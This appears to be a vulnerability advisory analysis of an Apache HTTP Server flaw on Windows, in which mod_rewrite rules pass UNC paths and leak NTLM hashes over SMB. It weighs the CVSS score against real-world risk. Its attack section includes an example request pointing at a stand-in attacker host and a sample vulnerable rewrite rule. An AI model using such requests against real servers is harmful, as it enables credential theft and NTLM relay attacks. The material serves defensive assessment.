Http Server EUVD-2024-54772

CVSS 7.5 (High) with vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N indicates network-accessible exploitation with low complexity and no privileges required, resulting in high confidentiality impact. However, real-world risk is nuanced: (1) Exploitation requires administrator misconfiguration of mod_rewrite rules that pass unsanitized user input to path-based operations—not a default vulnerability; (2) The advisory explicitly notes Apache is 'setting a higher bar for accepting SSRF via UNC paths,' suggesting limited default exploitability; (3) Windows administrators must actively configure SMB-based connections for this to manifest; (4) NTLM hash leakage is credential exposure but not direct system compromise. The CVSS does not account for these configuration prerequisites. Without KEV/EPSS data provided, this appears to be moderate real-world risk: high severity for misconfigured installations, low risk for properly hardened deployments. Organizations should prioritize this if using mod_rewrite with user-controlled variables in path rewriting.

An attacker crafts a malicious HTTP request containing a UNC path in a parameter that is processed by a vulnerable mod_rewrite rule (e.g., RewriteRule ^(.*)$ file://%{QUERY_STRING} or similar). Example: GET /?path=\\attacker.com\share. The rewrite engine passes this unvalidated input to a file access operation. Apache on Windows attempts to access the UNC path \\attacker.com\share, triggering Windows SMB client to authenticate. The attacker's SMB server receives the compromised server's NTLM hash (NTLMv2 or NTLMv1), which can be cracked offline or relayed to authenticate to other systems. This occurs without user interaction (UI:N) and requires no authentication to the vulnerable Apache server (PR:N). AV:N and AC:L mean a remote attacker can exploit from any network with low technical sophistication if a susceptible rewrite rule is configured.